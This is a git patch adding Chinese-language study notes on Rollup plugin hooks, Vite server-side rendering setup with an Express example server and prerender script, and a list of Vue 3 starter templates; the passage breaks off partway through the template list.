Content-Transfer-Encoding: 8bit --- "src/Vite/Rollup \347\254\224\350\256\260.md" | 82 + .../Vite SSR \346\226\271\346\241\210.md" | 311 +++ ...71\347\233\256\346\250\241\347\211\210.md" | 121 ++ ...17\345\206\214\347\254\224\350\256\260.md" | 20 + ...04\346\272\220\345\244\204\347\220\206.md" | 0 ...\233\256 Lint \347\256\241\347\220\206.md" | 381 ++++ ...57\345\212\250\351\205\215\347\275\256.md" | 0 ...46\344\271\240\347\254\224\350\256\260.md" | 328 ++++ ...346\270\262\346\237\223\344\270\216swr.md" | 115 ++ ...60\346\215\256\350\216\267\345\217\226.md" | 42 + ...75\347\232\204\344\273\243\347\240\201.md" | 11 + .../Vue Router \346\265\205\346\236\220.md" | 260 +++ ...ue keep-alive \347\254\224\350\256\260.md" | 259 +++ ...37\345\221\275\345\221\250\346\234\237.md" | 2 + ...33\351\230\266\344\275\277\347\224\250.md" | 714 +++++++ "src/Vue/Vue.set()\345\222\214this.$set().md" | 106 + src/Vue/Vue3/KeepAlive.md | 79 + .../Teleport \344\274\240\351\200\201.md" | 2 + ...50\346\204\217\344\272\213\351\241\271.md" | 142 ++ ...47\350\203\275\344\274\230\345\214\226.md" | 294 +++ ...04\344\273\266\347\254\224\350\256\260.md" | 826 ++++++++ ...50\346\204\217\344\272\213\351\241\271.md" | 55 + ...05\347\275\256\347\273\204\344\273\266.md" | 364 ++++ ...11\343\200\201\346\214\207\344\273\244.md" | 328 ++++ ...62\346\237\223\346\234\272\345\210\266.md" | 172 ++ ...77\344\274\240\345\217\202\346\225\260.md" | 203 ++ ...33\351\230\266\344\275\277\347\224\250.md" | 533 +++++ ...56\345\270\270\347\224\250\345\272\223.md" | 27 + ...61\345\205\245\346\216\242\347\251\266.md" | 47 + ...0\216 history \345\267\256\345\274\202.md" | 162 ++ ...3\345\207\275\346\225\260 hyperscript.md" | 1 + .../Vue VDom.md" | 171 ++ ...24\345\274\217\345\216\237\347\220\206.md" | 7 + .../VueRouter.md" | 522 +++++ .../Vue\347\274\226\350\257\221.md" | 7 + ...37\347\220\206\357\274\232Vuex & Pinia.md" | 511 +++++ ...11\344\277\256\351\245\260\347\254\246.md" | 1 + ...r \345\272\223\344\275\277\347\224\250.md" | 128 ++ ...47\345\217\230\345\212\250\357\274\211.md" | 396 ++++ ...25\357\274\210\344\270\212\357\274\211.md" | 1730 +++++++++++++++++ ...25\357\274\210\344\270\213\357\274\211.md" | 788 ++++++++ 41 files changed, 10248 insertions(+) create mode 100644 "src/Vite/Rollup \347\254\224\350\256\260.md" create mode 100644 "src/Vite/Vite SSR \346\226\271\346\241\210.md" create mode 100644 "src/Vite/Vite \345\217\257\347\224\250\351\241\271\347\233\256\346\250\241\347\211\210.md" create mode 100644 "src/Vite/Vite \345\260\217\345\206\214\347\254\224\350\256\260.md" create mode 100644 "src/Vite/\351\235\231\346\200\201\350\265\204\346\272\220\345\244\204\347\220\206.md" create mode 100644 "src/Vite/\351\241\271\347\233\256 Lint \347\256\241\347\220\206.md" create mode 100644 "src/Vite/\351\241\271\347\233\256\345\220\257\345\212\250\351\205\215\347\275\256.md" create mode 100644 "src/Vue/Pinia \345\255\246\344\271\240\347\254\224\350\256\260.md" create mode 100644 "src/Vue/SSR/Nuxt3\357\274\232\346\226\260\346\270\262\346\237\223\346\250\241\345\274\217-\350\276\271\347\274\230\346\270\262\346\237\223\344\270\216swr.md" create mode 100644 "src/Vue/SSR/SSR \345\274\202\346\255\245\346\225\260\346\215\256\350\216\267\345\217\226.md" create mode 100644 "src/Vue/SSR/\347\274\226\345\206\231\350\267\250\345\271\263\345\217\260\345\217\213\345\245\275\347\232\204\344\273\243\347\240\201.md" create mode 100644 "src/Vue/Vue Router \346\265\205\346\236\220.md" create mode 100644 "src/Vue/Vue keep-alive \347\254\224\350\256\260.md" create mode 100644 "src/Vue/Vue \350\207\252\345\256\232\344\271\211\351\222\251\345\255\220\345\246\202\344\275\225\350\256\277\351\227\256\347\224\237\345\221\275\345\221\250\346\234\237.md" create mode 100644 "src/Vue/Vue \350\277\233\351\230\266\344\275\277\347\224\250.md" create mode 100644 "src/Vue/Vue.set()\345\222\214this.$set().md" create mode 100644 src/Vue/Vue3/KeepAlive.md create mode 100644 "src/Vue/Vue3/Teleport \344\274\240\351\200\201.md" create mode 100644 "src/Vue/Vue3/Vue 3 \344\272\213\344\273\266\345\244\204\347\220\206\346\263\250\346\204\217\344\272\213\351\241\271.md" create mode 100644 "src/Vue/Vue3/Vue 3 \346\200\247\350\203\275\344\274\230\345\214\226.md" create mode 100644 "src/Vue/Vue3/Vue 3 \346\267\261\345\205\245\347\273\204\344\273\266\347\254\224\350\256\260.md" create mode 100644 "src/Vue/Vue3/Vue3 \347\273\204\344\273\266 ref \346\263\250\346\204\217\344\272\213\351\241\271.md" create mode 100644 "src/Vue/Vue3/\345\206\205\347\275\256\347\273\204\344\273\266.md" create mode 100644 "src/Vue/Vue3/\350\207\252\345\256\232\344\271\211 Hook\357\274\210\347\273\204\345\220\210\345\274\217\345\207\275\346\225\260\357\274\211\343\200\201\346\214\207\344\273\244.md" create mode 100644 "src/Vue/Vue3\346\270\262\346\237\223\346\234\272\345\210\266.md" create mode 100644 "src/Vue/VueBus \346\200\273\347\272\277\344\274\240\345\217\202\346\225\260.md" create mode 100644 "src/Vue/Vuex \345\237\272\347\241\200\344\270\216\350\277\233\351\230\266\344\275\277\347\224\250.md" create mode 100644 "src/Vue/Vue\351\241\271\347\233\256\345\270\270\347\224\250\345\272\223.md" create mode 100644 "src/Vue/`$nextTick`\346\267\261\345\205\245\346\216\242\347\251\266.md" create mode 100644 "src/Vue/\345\211\215\347\253\257\350\267\257\347\224\261 hash \344\270\216 history \345\267\256\345\274\202.md" create mode 100644 "src/Vue/\346\270\262\346\237\223\345\207\275\346\225\260 hyperscript.md" create mode 100644 "src/Vue/\346\272\220\347\240\201\345\255\246\344\271\240/Vue VDom.md" create mode 100644 "src/Vue/\346\272\220\347\240\201\345\255\246\344\271\240/Vue \345\223\215\345\272\224\345\274\217\345\216\237\347\220\206.md" create mode 100644 "src/Vue/\346\272\220\347\240\201\345\255\246\344\271\240/VueRouter.md" create mode 100644 "src/Vue/\346\272\220\347\240\201\345\255\246\344\271\240/Vue\347\274\226\350\257\221.md" create mode 100644 "src/Vue/\346\272\220\347\240\201\345\255\246\344\271\240/\346\225\260\346\215\256\346\265\201\345\216\237\347\220\206\357\274\232Vuex & Pinia.md" create mode 100644 "src/Vue/\347\273\204\344\273\266\350\207\252\345\256\232\344\271\211v-model\344\273\245\345\217\212\350\207\252\345\256\232\344\271\211\344\277\256\351\245\260\347\254\246.md" create mode 100644 "src/\345\205\203\346\241\206\346\236\266/uni-app/uni-simple-router \345\272\223\344\275\277\347\224\250.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/Vue/Vue 3 \351\235\242\350\257\225\351\242\230\351\233\206\345\220\210\357\274\210\347\263\273\347\273\237\346\225\264\347\220\206\345\215\207\347\272\247\345\217\230\345\212\250\357\274\211.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/Vue/Vue \351\235\242\350\257\225\357\274\210\344\270\212\357\274\211.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/Vue/Vue \351\235\242\350\257\225\357\274\210\344\270\213\357\274\211.md" diff --git "a/src/Vite/Rollup \347\254\224\350\256\260.md" "b/src/Vite/Rollup \347\254\224\350\256\260.md" new file mode 100644 index 00000000..a6e1315b --- /dev/null +++ "b/src/Vite/Rollup \347\254\224\350\256\260.md" @@ -0,0 +1,82 @@ +比较常用的 Rollup 插件库: + +- [@rollup/plugin-json](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Frollup%2Fplugins%2Ftree%2Fmaster%2Fpackages%2Fjson "https://github.com/rollup/plugins/tree/master/packages/json"): 支持`.json`的加载,并配合`rollup`的`Tree Shaking`机制去掉未使用的部分,进行按需打包。 +- [@rollup/plugin-babel](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Frollup%2Fplugins%2Ftree%2Fmaster%2Fpackages%2Fbabel "https://github.com/rollup/plugins/tree/master/packages/babel"):在 Rollup 中使用 Babel 进行 JS 代码的语法转译。 +- [@rollup/plugin-typescript](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Frollup%2Fplugins%2Ftree%2Fmaster%2Fpackages%2Ftypescript "https://github.com/rollup/plugins/tree/master/packages/typescript"): 支持使用 TypeScript 开发。 +- [@rollup/plugin-alias](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Frollup%2Fplugins%2Ftree%2Fmaster%2Fpackages%2Falias "https://github.com/rollup/plugins/tree/master/packages/alias"):支持别名配置。 +- [@rollup/plugin-replace](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Frollup%2Fplugins%2Ftree%2Fmaster%2Fpackages%2Freplace "https://github.com/rollup/plugins/tree/master/packages/replace"):在 Rollup 进行变量字符串的替换。 +- [rollup-plugin-visualizer](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fbtd%2Frollup-plugin-visualizer "https://github.com/btd/rollup-plugin-visualizer"): 对 Rollup 打包产物进行分析,自动生成产物体积可视化分析图。 + +![](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/67d0f8c753ed4eb29ac513439ac198ad~tplv-k3u1fbpfcp-zoom-in-crop-mark:3326:0:0:0.awebp) + +目前经过 Build 阶段的 `bundle` 对象其实并没有进行模块的打包,这个对象的作用在于存储各个模块的内容及依赖关系,同时暴露`generate`和`write`方法,以进入到后续的 `Output` 阶段(`write`和`generate`方法唯一的区别在于前者打包完产物会写入磁盘,而后者不会)。 + +所以,真正进行打包的过程会在 `Output` 阶段进行,即在`bundle`对象的 `generate`或者`write`方法中进行。 + + +### Hooks + +除了根据构建阶段可以将 Rollup 插件进行分类,根据不同的 Hook 执行方式也会有不同的分类,主要包括`Async`、`Sync`、`Parallel`、`Sequential`、`First`这五种。在后文中我们将接触各种各样的插件 Hook,但无论哪个 Hook 都离不开这五种执行方式。 + +**1. Async & Sync** + +首先是`Async`和`Sync`钩子函数,两者其实是相对的,分别代表`异步`和`同步`的钩子函数,两者最大的区别在于同步钩子里面不能有异步逻辑,而异步钩子可以有。 + +**2. Parallel** + +这里指并行的钩子函数。如果有多个插件实现了这个钩子的逻辑,一旦有钩子函数是异步逻辑,则并发执行钩子函数,不会等待当前钩子完成(底层使用 `Promise.all`)。 + +比如对于`Build`阶段的`buildStart`钩子,它的执行时机其实是在构建刚开始的时候,各个插件可以在这个钩子当中做一些状态的初始化操作,但其实插件之间的操作并不是相互依赖的,也就是可以并发执行,从而提升构建性能。反之,对于需要**依赖其他插件处理结果**的情况就不适合用 `Parallel` 钩子了,比如 `transform`。 + +**3. Sequential** + +**Sequential** 指串行的钩子函数。这种 Hook 往往适用于插件间处理结果相互依赖的情况,前一个插件 Hook 的返回值作为后续插件的入参,这种情况就需要等待前一个插件执行完 Hook,获得其执行结果,然后才能进行下一个插件相应 Hook 的调用,如`transform`。 + +**4. First** + +如果有多个插件实现了这个 Hook,那么 Hook 将依次运行,直到返回一个非 null 或非 undefined 的值为止。比较典型的 Hook 是 `resolveId`,一旦有插件的 resolveId 返回了一个路径,将停止执行后续插件的 resolveId 逻辑。 + +刚刚我们介绍了 Rollup 当中不同插件 Hook 的类型,实际上不同的类型是可以叠加的,`Async`/`Sync` 可以搭配后面三种类型中的任意一种,比如一个 Hook既可以是 `Async` 也可以是 `First` 类型,接着我们将来具体分析 Rollup 当中的插件工作流程,里面会涉及到具体的一些 Hook,大家可以具体地感受一下。 + + +## 执行顺序 + +### Build 阶段工作流 + +![](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/58ce9fa2b0f14dd1bc50a9c849157e43~tplv-k3u1fbpfcp-zoom-in-crop-mark:3326:0:0:0.awebp) + +1. 首先经历 `options` 钩子进行配置的转换,得到处理后的配置对象。 + +2. 随之 Rollup 会调用`buildStart`钩子,正式开始构建流程。 + +3. Rollup 先进入到 `resolveId` 钩子中解析文件路径。(从 `input` 配置指定的入口文件开始)。 + +4. Rollup 通过调用`load`钩子加载模块内容。 + +5. 紧接着 Rollup 执行所有的 `transform` 钩子来对模块内容进行进行自定义的转换,比如 babel 转译。 + +6. 现在 Rollup 拿到最后的模块内容,进行 AST 分析,得到所有的 import 内容,调用 moduleParsed 钩子: + + - **6.1** 如果是普通的 import,则执行 `resolveId` 钩子,继续回到步骤`3`。 + - **6.2** 如果是动态 import,则执行 `resolveDynamicImport` 钩子解析路径,如果解析成功,则回到步骤`4`加载模块,否则回到步骤`3`通过 `resolveId` 解析路径。 +7. 直到所有的 import 都解析完毕,Rollup 执行`buildEnd`钩子,Build 阶段结束。 + +**关于Watcher** + +`watchChange`和`closeWatcher`这两个 Hook,这里其实是对应了 rollup 的`watch`模式。当你使用 `rollup --watch` 指令或者在配置文件配有`watch: true`的属性时,代表开启了 Rollup 的`watch`打包模式,这个时候 Rollup 内部会初始化一个 `watcher` 对象,当文件内容发生变化时,watcher 对象会自动触发`watchChange`钩子执行并对项目进行重新构建。在当前**打包过程结束**时,Rollup 会自动清除 watcher 对象调用`closeWacher`钩子。 + +### Output 阶段工作流 + +![](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5dc4935d712d451fb6978fad46dd7b74~tplv-k3u1fbpfcp-zoom-in-crop-mark:3326:0:0:0.awebp) + +![](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/12142ea189be4a8f918cf247f408487e~tplv-k3u1fbpfcp-zoom-in-crop-mark:3326:0:0:0.awebp) + +## 具体常用钩子 + +resolveId +load +transform +renderChunk +gengerateBundle + + diff --git "a/src/Vite/Vite SSR \346\226\271\346\241\210.md" "b/src/Vite/Vite SSR \346\226\271\346\241\210.md" new file mode 100644 index 00000000..790ef35a --- /dev/null +++ "b/src/Vite/Vite SSR \346\226\271\346\241\210.md" @@ -0,0 +1,311 @@ +# Vite SSR 指南 + +## 示例项目 + +Vite 为服务端渲染(SSR)提供了内建支持。这里的 Vite 范例包含了 Vue 3 和 React 的 SSR 设置示例,可以作为本指南的参考: + +- [Vue 3](https://github.com/vitejs/vite-plugin-vue/tree/main/playground/ssr-vue) +- [React](https://github.com/vitejs/vite-plugin-react/tree/main/playground/ssr-react) + +## 源码结构 + +一个典型的 SSR 应用应该有如下的源文件结构: + +``` +- index.html +- server.js # main application server +- src/ + - main.js # 导出环境无关的(通用的)应用代码 + - entry-client.js # 将应用挂载到一个 DOM 元素上 + - entry-server.js # 使用某框架的 SSR API 渲染该应用 +``` + +`index.html` 将需要引用 `entry-client.js` 并包含一个占位标记供给服务端渲染时注入: + +``` +

    + +``` + +你可以使用任何你喜欢的占位标记来替代 ``,只要它能够被正确替换。 + +**模版配置:** + +## 设置开发服务器 + +在构建 SSR 应用程序时,你可能希望完全控制主服务器,并将 Vite 与生产环境脱钩(生产环境渲染不再依赖于Vute)。因此,建议以中间件模式使用 Vite。下面是一个关于 [express](https://expressjs.com/) 的例子: + +```js +// @ts-check +import fs from 'node:fs' +import path from 'node:path' +import { fileURLToPath } from 'node:url' +import express from 'express' + +const isTest = process.env.VITEST + +export async function createServer( + root = process.cwd(), + // 在 server.js 中,通过 process.env.NODE_ENV 条件分支,需要添加一些用于生产环境的特定逻辑 + isProd = process.env.NODE_ENV === 'production', + hmrPort, +) { + const __dirname = path.dirname(fileURLToPath(import.meta.url)) + const resolve = (p) => path.resolve(__dirname, p) + + const indexProd = isProd + ? fs.readFileSync(resolve('dist/client/index.html'), 'utf-8') + : '' + + const manifest = isProd + ? JSON.parse( + fs.readFileSync(resolve('dist/client/ssr-manifest.json'), 'utf-8'), + ) + : {} + + const app = express() + + /** + * @type {import('vite').ViteDevServer} + */ + let vite + if (!isProd) { + vite = await ( + await import('vite') + ).createServer({ + base: '/test/', + root, + logLevel: isTest ? 'error' : 'info', + + // 以中间件模式创建 Vite 应用,这将禁用 Vite 自身的 HTML 服务逻辑 + // 并让上级服务器接管控制 + server: { + middlewareMode: true, + watch: { + // During tests we edit the files too fast and sometimes chokidar + // misses change events, so enforce polling for consistency + usePolling: true, + interval: 100, + }, + hmr: { + port: hmrPort, + }, + }, + appType: 'custom', + }) + // use vite's connect instance as middleware + app.use(vite.middlewares) + } else { + app.use((await import('compression')).default()) + app.use( + '/test/', + (await import('serve-static')).default(resolve('dist/client'), { + index: false, + }), + ) + } + + app.use('*', async (req, res) => { + try { + const url = req.originalUrl.replace('/test/', '/') + + let template, render + if (!isProd) { + // always read fresh template in dev + // 1. 读取 index.html + template = fs.readFileSync(resolve('index.html'), 'utf-8') + // 2. 应用 Vite HTML 转换。这将会注入 Vite HMR 客户端, + // 同时也会从 Vite 插件应用 HTML 转换。 + // 例如:@vitejs/plugin-react 中的 global preambles + template = await vite.transformIndexHtml(url, template) + // 3. 加载服务器入口。vite.ssrLoadModule 将自动转换 + // 你的 ESM 源码使之可以在 Node.js 中运行!无需打包 + // 并提供类似 HMR 的根据情况随时失效。 + render = (await vite.ssrLoadModule('/src/entry-server.js')).render + } else { + template = indexProd + // 此时访问的render是SSR构建后的最终结果 + render = (await import('./dist/server/entry-server.js')).render + } + // 4. 渲染应用的 HTML。这假设 entry-server.js 导出的 `render` + // 函数调用了适当的 SSR 框架 API。 + // 例如 ReactDOMServer.renderToString() + const [appHtml, preloadLinks] = await render(url, manifest) + + // 5. 注入渲染后的应用程序 HTML 到模板中。 + const html = template + .replace(``, preloadLinks) + .replace(``, appHtml) + + // 6. 返回渲染后的 HTML。 + res.status(200).set({ 'Content-Type': 'text/html' }).end(html) + } catch (e) { + // 如果捕获到了一个错误,让 Vite 来修复该堆栈,这样它就可以映射回 + // 你的实际源码中。 + vite && vite.ssrFixStacktrace(e) + console.log(e.stack) + res.status(500).end(e.stack) + } + }) + + return { app, vite } +} + +if (!isTest) { + createServer().then(({ app }) => + app.listen(6173, () => { + console.log('http://localhost:6173') + }), + ) +} +``` + +这里 `vite` 是 [ViteDevServer](https://cn.vitejs.dev/guide/api-javascript.html#vitedevserver) 的一个实例。`vite.middlewares` 是一个 [Connect](https://github.com/senchalabs/connect) 实例,它可以在任何一个兼容 connect 的 Node.js 框架中被用作一个中间件。 + +`package.json` 中的 `dev` 脚本也应该相应地改变,使用服务器脚本: + +diff + +```json +"scripts": { + "dev": "vite" + "dev": "node server" +} +``` + +## 生产环境构建 + +为了将 SSR 项目交付生产,我们需要: + +1. 正常生成一个客户端构建; +2. 再生成一个 SSR 构建,使其通过 `import()` 直接加载,这样便无需再使用 Vite 的 `ssrLoadModule`; + +`package.json` 中的脚本应该看起来像这样: + +```json +{ + "scripts": { + "dev": "node server", + "build:client": "vite build --outDir dist/client", + "build:server": "vite build --outDir dist/server --ssr src/entry-server.js" + } +} +``` + +模版中的完整版应该是这样: + +```json +{ + "scripts": { + "dev": "node server", + "build": "npm run build:client && npm run build:server", + "build:noExternal": "npm run build:client && npm run build:server:noExternal", + "build:client": "vite build --ssrManifest --outDir dist/client", + "build:server": "vite build --ssr src/entry-server.js --outDir dist/server", + "build:server:noExternal": "vite build --config vite.config.noexternal.js --ssr src/entry-server.js --outDir dist/server", + "generate": "vite build --ssrManifest --outDir dist/static && npm run build:server && node prerender", + "serve": "NODE_ENV=production node server", + "debug": "node --inspect-brk server" + } +} +``` + +## 生成预加载指令 + +`vite build` 支持使用 `--ssrManifest` 标志,这将会在构建输出目录中生成一份 `ssr-manifest.json`: + +> 保持原样则为生成CSR客户端 + +``` +- "build:client": "vite build --outDir dist/client", ++ "build:client": "vite build --outDir dist/client --ssrManifest", +``` + +上面的脚本将会为客户端构建生成 `dist/client/ssr-manifest.json`(是的,该 SSR 清单是从客户端构建生成而来,因为我们想要将模块 ID 映射到客户端文件上)。清单包含模块 ID 到它们关联的 chunk 和资源文件的映射。 + +为了利用该清单,框架需要提供一种方法来收集在服务器渲染调用期间使用到的组件模块 ID。 + +`@vitejs/plugin-vue` 支持该功能,开箱即用,并会自动注册使用的组件模块 ID 到相关的 Vue SSR 上下文: + +```js +// src/entry-server.js +const ctx = {} +const html = await vueServerRenderer.renderToString(app, ctx) +// ctx.modules 现在是一个渲染期间使用的模块 ID 的 Set +``` + +我们现在需要在 `server.js` 的生产环境分支下读取该清单,并将其传递到 `src/entry-server.js` 导出的 `render` 函数中。这将为我们提供足够的信息,来为异步路由相应的文件渲染预加载指令! + +### 预渲染 / SSG + +如果预先知道某些路由所需的路由和数据,我们可以使用与生产环境 SSR 相同的逻辑将这些路由预先渲染到静态 HTML 中。这也被视为一种静态站点生成(SSG)的形式。查看 示例渲染代码 获取有效示例。 + +```js +// Pre-render the app into static HTML. +// run `npm run generate` and then `dist/static` can be served as a static site. + +import fs from 'node:fs' +import path from 'node:path' +import url from 'node:url' + +const __dirname = path.dirname(url.fileURLToPath(import.meta.url)) + +const toAbsolute = (p) => path.resolve(__dirname, p) + +const manifest = JSON.parse( + fs.readFileSync(toAbsolute('dist/static/ssr-manifest.json'), 'utf-8'), +) +const template = fs.readFileSync(toAbsolute('dist/static/index.html'), 'utf-8') +const { render } = await import('./dist/server/entry-server.js') + +// determine routes to pre-render from src/pages +const routesToPrerender = fs + .readdirSync(toAbsolute('src/pages')) + .map((file) => { + const name = file.replace(/\.vue$/, '').toLowerCase() + return name === 'home' ? `/` : `/${name}` + }) + +;(async () => { + // pre-render each route... + for (const url of routesToPrerender) { + const [appHtml, preloadLinks] = await render(url, manifest) + + const html = template + .replace(``, preloadLinks) + .replace(``, appHtml) + + const filePath = `dist/static${url === '/' ? '/index' : url}.html` + fs.writeFileSync(toAbsolute(filePath), html) + console.log('pre-rendered:', filePath) + } + + // done, delete ssr manifest + fs.unlinkSync(toAbsolute('dist/static/ssr-manifest.json')) +})() +``` + +## SSR 外部化 + +当运行 SSR 时依赖会由 Vite 的 SSR 转换模块系统作外部化。这会同时提速开发与构建。 + +例如,如果依赖项需要通过 Vite 的管道进行转换,因为在这些依赖在管道中使用 Vite 特性时是不转翻译的,则可以将它们添加到 [`ssr.noExternal`](https://cn.vitejs.dev/config/ssr-options.html#ssrnoexternal) 中。 + +> 使用别名 +> +> 如果你为某个包配置了一个别名,为了能使 SSR 外部化依赖功能正常工作,你可能想要使用的别名应该指的是实际的 `node_modules` 中的包。[Yarn](https://classic.yarnpkg.com/en/docs/cli/add/#toc-yarn-add-alias) 和 [pnpm](https://pnpm.js.org/en/aliases) 都支持通过 `npm:` 前缀来设置别名。 + +## SSR 构建目标 + +SSR 构建的默认目标为 node 环境,但你也可以让服务运行在 Web Worker 上。每个平台的打包条目解析是不同的。你可以将`ssr.target` 设置为 `webworker`,以将目标配置为 Web Worker。 + +## SSR 构建产物 + +在某些如 `webworker` 运行时等特殊情况中,你可能想要将你的 SSR 打包成单个 JavaScript 文件。你可以通过设置 `ssr.noExternal` 为 `true` 来启用这个行为。这将会做两件事: + +- 将所有依赖视为 `noExternal`(非外部化) +- 若任何 Node.js 内置内容被引入,将抛出一个错误 + +## SSR 格式 + +默认情况下,Vite 生成的 SSR 打包产物是 ESM 格式。实验性地支持配置 `ssr.format` ,但不推荐这样做。未来围绕 SSR 的开发工作将基于 ESM 格式,并且为了向下兼容,commonjs 仍然可用。如果你的 SSR 项目不能使用 ESM,你可以通过 [Vite v2 外部启发式方法](https://v2.vitejs.dev/guide/ssr.html#ssr-externals) 设置 `legacy.buildSsrCjsExternalHeuristics: true` 生成 CJS 格式的产物。 \ No newline at end of file diff --git "a/src/Vite/Vite \345\217\257\347\224\250\351\241\271\347\233\256\346\250\241\347\211\210.md" "b/src/Vite/Vite \345\217\257\347\224\250\351\241\271\347\233\256\346\250\241\347\211\210.md" new file mode 100644 index 00000000..cabe6ab1 --- /dev/null +++ "b/src/Vite/Vite \345\217\257\347\224\250\351\241\271\347\233\256\346\250\241\347\211\210.md" @@ -0,0 +1,121 @@ +# Vite Vue & React模版 + +#### Vue 3 + +- [Vitesse](https://github.com/antfu/vitesse) - Opinionated starter template. +- [vite-ts-tailwind-starter](https://github.com/Uninen/vite-ts-tailwind-starter) - TypeScript, Tailwind CSS, Cypress.io e2e tests + CI. +- [vue-vben-admin](https://github.com/anncwb/vue-vben-admin) - Background management template based on Vue3, Ant-Design-Vue, TypeScript. +- [vue-pure-admin](https://github.com/xiaoxian521/vue-pure-admin) - Background management template based on Vue3, TypeScript, Tailwind CSS, element-plus. +- [fast-crud](https://github.com/fast-crud/fast-crud) - Options-oriented crud framework, developing crud as fast as lightning. +- [vivu](https://github.com/logustra/vivu) - Opinionated scalable vue boilerplate. +- [vite-tauri-template](https://github.com/yooneskh/vite-tauri-template) - Tauri + Vite + Vue 3 + Vuetify 3 desktop app template. +- [vue-vite-h5](https://github.com/LZHD/vue-vite-h5) - Use Vue3, TypeScript and Vant to develop mobile applications. +- [Vitesome](https://github.com/alvarosaburido/vitesome) - Vue3 + TypeScript + WindiCSS + Vue Router 4, i18n and Iconify. +- [vitesse-lite](https://github.com/antfu/vitesse-lite) - Lightweight version of Vitesse. +- [vitesse-webext](https://github.com/antfu/vitesse-webext) - WebExtension Vite Starter Template. +- [vite-ts-vue3-todo](https://github.com/nabaonan/todos-action/tree/master/vue-vite-ts-setup) - Vue3 + TS + Vue-Router4 + Pinia2 template. +- [naive-ui-dashboard-template](https://github.com/Innei/naive-ui-dashboard-template) - UI friendly, Vue 3 + TSX + TailwindCSS 2 JIT + PostCSS + Naive UI. +- [vitailse](https://github.com/zynth17/vitailse) - Like Vitesse but with Tailwind CSS. +- [vitespa](https://github.com/ctholho/vitespa) - Vitesse-based SPA without SSG. +- [vite-quasar-starter](https://github.com/fyeeme/vite-quasar) - Vite 2.x + Vue 3.x + quasar 2.x starter. +- [vue3-mobile-template](https://github.com/parajs/vue3-mobile-template) - Vue3 + TS + Vue-Router4 + Vuex4 + Vant + Vue-use + Vue-i18n Mobile Template. +- [vue3-template](https://github.com/lecoueyl/vue3-template) - Vue 3 / Tailwind CSS / vue-router / PNPM / ESlint Airbnb / Stylelint / GitHub pages actions / Netlify. +- [Modern Vue](https://github.com/byoungd/modern-vue-template) - Modern Vue stack 2022. +- [Vitecamp](https://github.com/nekobc1998923/vitecamp) - Vue3 / Element Plus / Axios / Vue Router / Pinia / Windi CSS / icones / i18n / Markdown / Svg / ESLint Airbnb Style / Components and APIs auto importing. +- [vite-vue3-typescript-webcomponent](https://github.com/skysign/vite-vue3-typescript-webcomponent) - Vue 3 / Typescript / boiler plate to develop Web Component. +- [vite-vue-ts-storybook](https://github.com/Miguel-Bento-Github/vite-vue-ts-storybook) - Vue 3 / i18n / Typescript / Vite / Storybook / ESLint / Prettier. +- [vite-vue-tailwind-v3](https://github.com/huibizhang/template-vite-vue-tailwind-v3) - Starter template for Vue3 + TailwindCSS and `prettier-plugin-tailwindcss` build-in. +- [vite-vue-ts-tailwind-v3](https://github.com/huibizhang/template-vite-vue-ts-tailwind-v3) - Starter template for Vue3 + Typescript + TailwindCSS and `prettier-plugin-tailwindcss` build-in. +- [Vitawind Creator](https://vitawind.vercel.app/scaffolding/creator/) - Create TailwindCSS project rapidly. +- [vue3-ts-vite-vitest-todo](https://github.com/hefengxian/vue3-ts-vite-vitest-todo) - Vue 3 / TypeScript / Vite / Vitest with full tests / Composition API / Pure TS/TSX. +- [vue3-tailwind3-website-starter](https://github.com/feitian124/vue3-tailwind3-website-starter.git) - Vue3 / Vite / TailwindCSS website starter template, with guides on each page. +- [vite-boot](https://github.com/kirklin/vite-boot) - Vite + Vue3 + TypeScript + Vue-Router4 + Pinia + Tailwind CSS + VueUse Template. +- [Vue Naive](https://github.com/zclzone/vue-naive-admin) - Admin template, base on Vue 3 + Pinia + Naive UI. +- [vue-admin-box](https://github.com/cmdparkour/vue-admin-box) - Admin template, based on Vue 3 + Element-plus. +- [vivu-npm](https://github.com/logustra/vivu-npm) - Starter template to build component library. +- [vue3-pc-template](https://github.com/parajs/vue3-pc-template) - Vite + ElementPlus + Vue3 + TS + Vue-Router4 + Vuex4 + Vue-use + Vue-i18n PC Template. +- [ViTauri](https://github.com/NicolaSpadari/vitauri) - Vite + Tauri + Vue3 + TS + Vue-Router4 + Auto imports. +- [vue-hbs-admin](https://github.com/developer-plus/vue-hbs-admin) - Admin starter template based on `Vite` + `Vue3` + `TypeScript` + `Vue-Router4` + `Pinia` + `Unocss` + `Ant-design-vue` + `Auto imports`. +- [vite-vue-proste](https://github.com/xyhxx/vite-vue-proste) - Pinia + Typescript + Vue-Router4 + Vitest + Vue-Test-Utils + Vue-Query + Sass + ESLint + Stylelint + Prettier + `project presets`. +- [vue-vite-ssr](https://github.com/EverSeenTOTOTO/browser-app-boilerplate/tree/vue-vite-ssr) - Typescript, Eslint, Stylelint, Husky, Lint-staged and Commitlint. +- [vue3-vant-mobile](https://github.com/CharleeWa/vue3-vant-mobile) - Vite + Vue3 + Vant4 + Pinia + Vue-Router4 + TypeScript Mobile Template. +- [vue3-powerbuild](https://github.com/UIC-Group/vue3-powerbuild) - Vue 3 + TypeScript + Tailwind CSS + Vite + Storybook + ESLint + Prettier. +- [vue-ts-starter](https://github.com/yugasun/vue-ts-starter) - Vue3 + TypeScript + Vite + Pinia. +- [vitequality](https://github.com/cstuncsik/vitequality) - Vue 3 + Typescript + Vue Router + Pinia + Eslint + Jest + Cypress. +- [vue-vite-tw-ts](https://github.com/ChronosMasterOfAllTime/vue-vite-tw-ts) - Vue 3 + Vite + Vitest + Cypress E2E + Naive UI + Pinia + Vue Router. +- [vite-vue-box](https://github.com/NelsonYong/vite-vue-box) - Vite + Vue 3 + Ts + TailWindCss + VueHook Plus + Pinia + Axios + ESLint + Stylelint. +- 